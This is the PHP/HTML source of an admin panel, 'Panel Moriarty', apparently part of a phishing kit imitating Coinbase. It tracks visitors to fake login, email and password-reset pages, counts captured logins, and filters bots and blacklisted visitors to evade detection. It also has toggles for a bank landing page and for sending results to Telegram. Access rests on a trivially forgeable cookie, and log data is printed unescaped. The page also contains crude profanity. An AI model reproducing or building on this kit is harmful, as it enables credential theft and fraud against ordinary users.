<?php
error_reporting(E_ALL);
session_start();
require_once('../function/settings.php');
$conn = new Coinbasah();
if(empty($_COOKIE['panel']) || $_COOKIE['panel'] !== 'true'){
    header("Location: ../xyz");
    exit;
}


// Read the JSON data from file
$json_data = file_get_contents('../function/config.json');
$data = json_decode($json_data, true);
$path = 'https://' . $_SERVER['SERVER_NAME'] . '/xyz/';
$web = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$pages = explode("/", $web);

if(isset($_POST['logout'])){
    setcookie('panel', '', time() - 3600, "/"); // Expire the cookie by setting it in the past
    header("Location: ?Logout");
    exit;
}


if (isset($_POST['clear_log'])) {
    $conn->CleanAllLogs();
}

class Settings {
    private $config,
            $configFilePath = '../function/config.json'; // Adjust the path as necessary

    public function __construct() {
        $this->config = json_decode(file_get_contents($this->configFilePath), true);
    }

    public function changeSetting($key, $status) {
        $this->config[$key] = $status;
        $this->saveConfig();
        header("Location: ?Success");
        exit;
    }

    private function saveConfig() {
        file_put_contents($this->configFilePath, json_encode($this->config, JSON_PRETTY_PRINT));
    }

    public function getConfig() {
        return $this->config;
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $setts = new Settings();
    foreach ($_POST as $key => $value) {
        if (in_array($key, ['bankLanding', 'TelegramStatus'])) {
            $status = $value === 'on' ? 'on' : 'off';
            $_SESSION['panelsettings'] = 'success';
            $setts->changeSetting($key, $status);
            header("Location: ?success");
        }
    }
    exit();
}

$setts = new Settings();
$config = $setts->getConfig();
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <!--  Title -->
    <title>Panel Moriarty</title>
    <!--  Required Meta Tag -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="handheldfriendly" content="true" />
    <meta name="MobileOptimized" content="width" />
    <meta name="description" content="Mordenize" />
    <meta name="author" content="" />
    <meta name="keywords" content="Mordenize" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!--  Favicon -->
    <link rel="shortcut icon" type="image/png" href="../assets/images/title.png" />
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"/>
    <link rel="stylesheet" href="../assets/css/flag-icon.min.css"/>

    <!-- Core Css -->
    <link id="themeColors" rel="stylesheet" href="../assets/css/style.min.css" />
    <style>
        .btn-block {
            display: block;
            width: 100%;
        }
    </style>
</head>

<body>
    <div class="preloader">
        <img src="../assets/images/title.png" alt="loader" class="lds-ripple img-fluid" />
    </div>
    
    <div class="page-wrapper" id="main-wrapper" data-theme="blue_theme" data-layout="vertical" data-sidebartype="full" data-sidebar-position="fixed" data-header-position="fixed">
        <aside class="left-sidebar">
            <div>
                <div class="brand-logo d-flex align-items-center justify-content-between">
                    <a href="<?= $path; ?>dashboard" class="text-nowrap logo-img">
                        <div class="light-logo container">
                            <h3 class="text-white text-uppercase">Moriarty</h3>
                        </div>
                        <div class="dark-logo container">
                            <h3 class="text-dark text-uppercase">Moriarty</h3>
                        </div>
                    </a>
                    <div class="close-btn d-lg-none d-block sidebartoggler cursor-pointer" id="sidebarCollapse">
                        <i class="ti ti-x fs-8"></i>
                    </div>
                </div>
                <nav class="sidebar-nav scroll-sidebar" data-simplebar>
                    <ul id="sidebarnav">
                        <li class="nav-small-cap">
                            <i class="ti ti-dots nav-small-cap-icon fs-4"></i>
                            <span class="hide-menu">Home</span>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="dashboard" aria-expanded="false">
                                <span>
                                    <i class="ti ti-home"></i>
                                </span>
                                <span class="hide-menu">Home</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="users" aria-expanded="false">
                                <span>
                                <i class="ti ti-users"></i>
                                </span>
                                <span class="hide-menu">Users</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?<?= $data['parameter']; ?>" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Visit Login</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?code=contoh@gmail.com" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Visit Email</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" target="_blank" href="https://<?= $_SERVER['HTTP_HOST']; ?>/?m=contoh@gmail.com" aria-expanded="false">
                                <span>
                                    <i class="ti ti-link"></i>
                                </span>
                                <span class="hide-menu">Forgot Password</span>
                            </a>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="listmark" aria-expanded="false">
                                <span>
                                <i class="ti ti-bookmark"></i>
                                </span>
                                <span class="hide-menu">List Mark</span>
                            </a>
                        </li>
                        <li class="nav-small-cap">
                            <i class="ti ti-dots nav-small-cap-icon fs-4"></i>
                            <span class="hide-menu">Settings</span>
                        </li>
                        <li class="sidebar-item">
                            <a class="sidebar-link" href="settings" aria-expanded="false">
                                <span>
                                    <i class="ti ti-settings"></i>
                                </span>
                                <span class="hide-menu">Settings</span>
                            </a>
                        </li>
                    </ul>
                </nav>
                <div class="fixed-profile p-3 bg-light-secondary rounded sidebar-ad mt-3">
                    <div class="hstack gap-3">
                        <div class="john-img">
                            <img src="../assets/images/users.jpg" class="rounded-circle" width="40" height="40" alt="" />
                        </div>
                        <div class="john-title">
                            <h6 class="mb-0 fs-4 fw-semibold">ADMIN</h6>
                            <span class="fs-2 text-dark">Moriarty</span>
                        </div>
                        <form method="post">
                            <button class="border-0 bg-transparent text-primary ms-auto" tabindex="0" type="submit" name="logout" aria-label="logout" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="logout">
                                <i class="ti ti-power fs-6"></i>
                            </button>
                        </form>
                    </div>
                </div>
            </div>
        </aside>
        <div class="body-wrapper">
            <header class="app-header">
                <nav class="navbar navbar-expand-lg navbar-light">
                    <ul class="navbar-nav">
                        <li class="nav-item">
                            <a class="nav-link sidebartoggler nav-icon-hover ms-n3" id="headerCollapse" href="javascript:void(0)">
                                <i class="ti ti-menu-2"></i>
                            </a>
                        </li>
                    </ul>
                </nav>
            </header>
            <div class="container-fluid">
                <?php 
                    if (isset($_SESSION['cleanlog'])) {
                        // For example, display it in an alert
                        if ($_SESSION['cleanlog'] === 'success') {
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Success - </strong>log successfully deleted</div>';
                        }else{
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Failed - </strong>log failed to delete</div>';
                        }
                        // Clear the session variable after use
                        unset($_SESSION['cleanlog']);
                    }elseif(isset($_SESSION['panelsettings'])){
                        // For example, display it in an alert
                        if ($_SESSION['panelsettings'] === 'success') {
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Success - </strong>panel successfully update</div>';
                        }else{
                            echo '<div class="alert alert-success alert-dismissible bg-success text-white border-0 fade show" role="alert">
                            <button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
                            <strong>Failed - </strong>log failed to delete</div>';
                        }

                        unset($_SESSION['panelsettings']);
                    }
                ?>
                <div class="row">
                    <div class="col-lg-8">
                        <div class="card border-0 w-100">
                            <div class="card-body pb-0">
                                <h5 class="card-title fw-semibold">Welcome To Moriarty Panel</h5>
                                <p class="card-subtitle mb-1">DILARANG RESULT BAUK MEMEK !!</p>
                                <p class="card-subtitle mb-4">Time: <span class="text-danger fw-bold" id="dateTime"></span></p>
                                <h3 class="py-3">Total Visitors: <span id="totalLogs" class="bg-success p-2 rounded"><?= $conn->Visitors(); ?></span></h3>
                                <div class="text-center mt-3 pb-4">
                                    <img src="../assets/images/peler.avif" class="w-100 rounded" alt="">
                                </div>
                                <div class="mt-3 pb-4">
                                    <div class="mb-7 pb-1">
                                        <div class="d-flex justify-content-between align-items-center mb-6">
                                            <div>
                                                <h6 class="mb-1 fs-4 fw-semibold"><i class="ti ti-barrier-block"></i> Total Login</h6>
                                                <p class="fs-3 mb-0" id="totallogin"><?= $conn->LogLogin(); ?></p>
                                            </div>
                                            <div>
                                                <span class="badge bg-light-danger text-danger fw-semibold fs-3"><span id="blockedPercentage"><?= $conn->LoginPercentage(); ?></span>%</span>
                                            </div>
                                        </div>
                                        <div class="progress bg-light-danger" style="height: 4px;">
                                            <div id="ProgresBarBlocked" class="progress-bar bg-danger" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" style="width: <?= $conn->LoginPercentage(); ?>%;"></div>
                                        </div>
                                    </div>
                                    <form method="POST">
                                        <div class="mb-7 pb-1">
                                            <div class="row bg-light p-1 rounded">
                                            <div class='d-flex flex-row'>
                                            <?php
                                            $switches = [
                                                'bankLanding' => 'Landing Bank',
                                                'TelegramStatus' => 'Sending Telegram',
                                            ];
                                            foreach ($switches as $key => $label) {
                                                $checked = $config[$key] === 'on' ? 'checked' : '';
                                                echo "<label for='exampleInputPassword1' class='form-label text-danger' style='margin-right: 10px;'><i class='fa-solid fa-plane-circle-check'></i> {$label}</label>
                                                <div class='pl-3 form-check form-switch'>
                                                    <input class='form-check-input' type='checkbox' role='switch' id='{$key}' name='{$key}' {$checked}>
                                                </div>
                                                 |&nbsp;
                                                ";
                                            }
                                            ?>
                                            </div>
                                            </div>
                                        </div>
                                    </form>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-4 d-flex align-items-strech">
                        <div class="card bg-primary border-0 w-100">
                            <div class="card-body pb-0">
                                <h5 class="fw-semibold mb-1 text-white card-title"> Review Visitors </h5>
                                <p class="fs-3 mb-3 text-white">Spaming Filtering</p>
                                <h5 class="py-2 text-light ">Total Blacklist : <a href="./blacklist"><span id="totalLogs" class="bg-danger p-1 rounded text-light"><?= $conn->BlacklistUser(); ?></span></a></h5>
                                <div class="text-center mt-3">
                                    <img src="../assets/images/g2.webp" class="img-fluid rounded" alt="">
                                </div>
                            </div>
                            <div class="card mx-2 mb-2 mt-n2">
                                <div class="card-body">
                                    <div class="mb-7 pb-1">
                                        <div class="d-flex justify-content-between align-items-center mb-6">
                                            <div>
                                                <h6 class="mb-1 fs-4 fw-semibold"><i class="ti ti-barrier-block"></i> Visitors Blocked</h6>
                                                <p class="fs-3 mb-0" id="totalBlocked"><?= $conn->VisitBlocked(); ?></p>
                                            </div>
                                            <div>
                                                <span class="badge bg-light-danger text-danger fw-semibold fs-3"><span id="blockedPercentage"><?= $conn->BlockedPercentage(); ?></span>%</span>
                                            </div>
                                        </div>
                                        <div class="progress bg-light-danger" style="height: 4px;">
                                            <div id="ProgresBarBlocked" class="progress-bar bg-danger" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" style="width: <?= $conn->BlockedPercentage(); ?>%;"></div>
                                        </div>
                                    </div>
                                    <div class="mb-7 pb-1">
                                        <div class="d-flex justify-content-between align-items-center mb-6">
                                            <div>
                                                <h6 class="mb-1 fs-4 fw-semibold"><i class="ti ti-users"></i> Visitors Real</h6>
                                                <p class="fs-3 mb-0" id="totalSuccess"><?= $conn->VisitReal(); ?></p>
                                            </div>
                                            <div>
                                                <span class="badge bg-light-success text-success fw-bold fs-3"><span id="successPercentage"><?= $conn->RealPercentage(); ?></span>%</span>
                                            </div>
                                        </div>
                                        <div class="progress bg-light-success" style="height: 4px;">
                                            <div id="ProgresBarSuccess" class="progress-bar bg-success" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" style="width: <?= $conn->RealPercentage(); ?>%;"></div>
                                        </div>
                                    </div>
                                    <div class="mb-7 pb-1">
                                        <div class="d-flex justify-content-between align-items-center mb-6">
                                            <div>
                                                <h6 class="mb-1 fs-4 fw-semibold"><i class="ti ti-robot"></i> Visitors Robot</h6>
                                                <p class="fs-3 mb-0" id="totalrobot"><?= $conn->VisitRobot(); ?></p>
                                            </div>
                                            <div>
                                                <span class="badge bg-light-danger text-danger fw-bold fs-3"><span id="robotPercentage"><?= $conn->RobotPercentage(); ?></span>%</span>
                                            </div>
                                        </div>
                                        <div class="progress bg-light-danger" style="height: 4px;">
                                            <div id="ProgresBarrobot" class="progress-bar bg-danger" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" style="width: <?= $conn->RobotPercentage(); ?>%;"></div>
                                        </div>
                                    </div>
                                    <div>
                                        <div class="d-flex justify-content-between align-items-center">
                                            <div>
                                                <h6 class="mb-1 fs-4 fw-semibold"><i class="ti ti-playlist-x"></i> Visitors Blacklist</h6>
                                                <p class="fs-3 mb-0" id="totalrobot"><?= $conn->VisitBlacklist(); ?></p>
                                            </div>
                                            <div>
                                                <span class="badge bg-light-dark text-light fw-bold fs-3"><span id="robotPercentage"><?= $conn->BlacklistPercentage(); ?></span>%</span>
                                            </div>
                                        </div>
                                        <div class="progress bg-light-dark" style="height: 4px;">
                                            <div id="ProgresBarrobot" class="progress-bar bg-dark" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" style="width: <?= $conn->BlacklistPercentage(); ?>%;"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <div class="col-lg-12 d-flex align-items-strech">
                        <div class="card w-100">
                            <div class="card-body">
                                <div class="d-sm-flex d-block align-items-center justify-content-between mb-7">
                                    <div class="mb-3 mb-sm-0">
                                        <h5 class="card-title fw-semibold"><i class="ti ti-history"></i> Visitors</h5>
                                    </div>
                                    <div>
                                        <form method="POST">
                                            <button type="submit" class="btn btn-danger" name="clear_log"><i class="ti ti-trash"></i> Clear Log</button>
                                        </form>
                                    </div>
                                </div>
                                <div class="table-responsive" style="overflow-x: auto;">
                                    <table class="table align-middle text-nowrap mb-0" id="logTable">
                                        <thead>
                                            <tr class="text-muted fw-semibold">
                                                <th scope="col" class="ps-0 text-center">#</th>
                                                <th scope="col"><i class="ti ti-address-book"></i></th>
                                                <th scope="col" class="text-center"><i class="ti ti-calendar-due"></i></th>
                                                <th scope="col" class="text-center"><i class="ti ti-flag"></i></th>
                                                <th scope="col" class="text-center"><i class="ti ti-hierarchy-2"></i></th>
                                                <th scope="col" class="text-center"><i class="ti ti-devices"></i></th>
                                                <th scope="col"><i class="ti ti-cpu"></i></th>
                                            </tr>
                                        </thead>
                                        <tbody class="border-top">
                                        <?php
                                        // Define the path to the log file
                                        $log_file = '../log/view.log';
                                        
                                        // Check if the log file exists
                                        if (file_exists($log_file)) {
                                            // Read the contents of the log file line by line
                                            $log_entries = file($log_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                                        
                                            // Get the last 10 log entries
                                            $last_10_entries = array_slice(array_reverse($log_entries), 0, 10);
                                            $unique_ips = [];
                                        
                                            // Initialize the counter
                                            $counter = 1;
                                        
                                            // Iterate over each log entry
                                            foreach ($last_10_entries as $log_entry) {
                                                // Split log entry by pipe (|)
                                                $log_parts = explode('|', $log_entry);
                                        
                                                // Extract relevant information
                                                $ip = $log_parts[0] ?? 'N/A';
                                                $user_agent = $log_parts[1] ?? 'N/A';
                                                $date_visit = $log_parts[2] ?? 'N/A';
                                                $devices = $log_parts[3] ?? 'N/A';
                                                $country = $log_parts[4] ?? 'N/A';
                                                $status = $log_parts[5] ?? 'N/A';
                                        
                                                // Determine device info
                                                switch ($devices) {
                                                    case 'HUMAN':
                                                        $info = "<span class='badge fw-semibold py-1 w-100 bg-light-success text-success'>" . htmlspecialchars($devices) . "</span>";
                                                        break;
                                                    case 'BLACKLIST':
                                                        $info = "<span class='badge fw-semibold py-1 w-100 bg-dark text-light'>" . htmlspecialchars($devices) . "</span>";
                                                        break;
                                                    default:
                                                        $info = "<span class='badge fw-semibold py-1 w-100 bg-light-danger text-danger'>" . htmlspecialchars($devices) . "</span>";
                                                        break;
                                                }
                                        
                                                // Determine country flag
                                                $countryFlag = 'N/A';
                                                if (!empty($country)) {
                                                    $countryFlag = "<div class='shadow bg-light rounded'><span class='flag-icon flag-icon-" . strtolower(htmlspecialchars($date_visit)) . "'></span></div>";
                                                }
                                        
                                                // Display the log entry in a table row
                                                echo "<tr>
                                                        <td style='text-align:left; border-bottom-left-radius:10px;'>$counter</td>
                                                        <td style='text-align:left;'>$ip</td>
                                                        <td style='text-align:left;'>$user_agent</td>
                                                        <td style='text-align:left;'>$countryFlag</td>
                                                        <td style='text-align:center;'>$info</td>
                                                        <td style='text-align:center;'>$country</td>
                                                        <td>$status</td>
                                                      </tr>";
                                        
                                                $counter++;
                                            }
                                        } else {
                                            // Handle the error if the log file does not exist
                                            echo "<tr><td colspan='7'>Log file not found.</td></tr>";
                                        }
                                        ?>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <button class="btn btn-primary p-3 rounded-circle d-flex align-items-center justify-content-center customizer-btn" type="button" data-bs-toggle="offcanvas" data-bs-target="#offcanvasExample" aria-controls="offcanvasExample">
            <i class="ti ti-settings fs-7" data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="Settings"></i>
        </button>
        <div class="offcanvas offcanvas-end customizer" tabindex="-1" id="offcanvasExample" aria-labelledby="offcanvasExampleLabel" data-simplebar="">
            <div class="d-flex align-items-center justify-content-between p-3 border-bottom">
                <h4 class="offcanvas-title fw-semibold" id="offcanvasExampleLabel">
                    Settings
                </h4>
                <button type="button" class="btn-close" data-bs-dismiss="offcanvas" aria-label="Close"></button>
            </div>
            <div class="offcanvas-body p-4">
                <div class="theme-option pb-4">
                    <h6 class="fw-semibold fs-4 mb-1">Theme Option</h6>
                    <div class="d-flex align-items-center gap-3 my-3">
                        <a href="javascript:void(0)" onclick="toggleTheme('../assets/css/style.min.css')" class="rounded-2 p-9 customizer-box hover-img d-flex align-items-center gap-2 light-theme text-dark">
                            <i class="ti ti-brightness-up fs-7 text-primary"></i>
                            <span class="text-dark">Light</span>
                        </a>
                        <a href="javascript:void(0)" onclick="toggleTheme('../assets/css/style-dark.min.css')" class="rounded-2 p-9 customizer-box hover-img d-flex align-items-center gap-2 dark-theme text-dark">
                            <i class="ti ti-moon fs-7"></i>
                            <span class="text-dark">Dark</span>
                        </a>
                    </div>
                </div>
            </div>
        </div>
        <script>
        document.addEventListener("DOMContentLoaded", function() {
            document.querySelectorAll('.form-check-input').forEach(function(checkbox) {
                checkbox.addEventListener('change', function() {
                    const status = this.checked ? 'on' : 'off';
                    updateStatus(this.id, status);
                });
            });
        });

        function updateStatus(id, status) {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', '', true); // The current URL will handle the form submission
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log(`${id} updated successfully:`, xhr.responseText);
                } else {
                    console.error(`Error updating ${id}`);
                }
            };
            xhr.send(`${id}=` + status);
        }
        // Function to update date and time
        function updateDateTime() {
            const now = new Date();
            const formattedDateTime = now.toLocaleString('en-US', {
                year: 'numeric',
                month: 'long',
                day: 'numeric',
                hour: 'numeric',
                minute: 'numeric',
                second: 'numeric',
                timeZone: "Asia/Jakarta",
                hour12: true
            });
            document.getElementById('dateTime').textContent = formattedDateTime;
        }

        // Initial call to display the date and time immediately when the page loads
        updateDateTime();

        // Update the date and time every second
        setInterval(updateDateTime, 1000);
        </script>
        <script src="../assets/js/jquery.min.js"></script>
        <script src="../assets/js/bootstrap.bundle.min.js"></script>
        <script src="../assets/js/custom.js"></script>
        <script src="../assets/js/app.min.js"></script>
        <script src="../assets/js/app.init.js"></script>
</body>

</html>
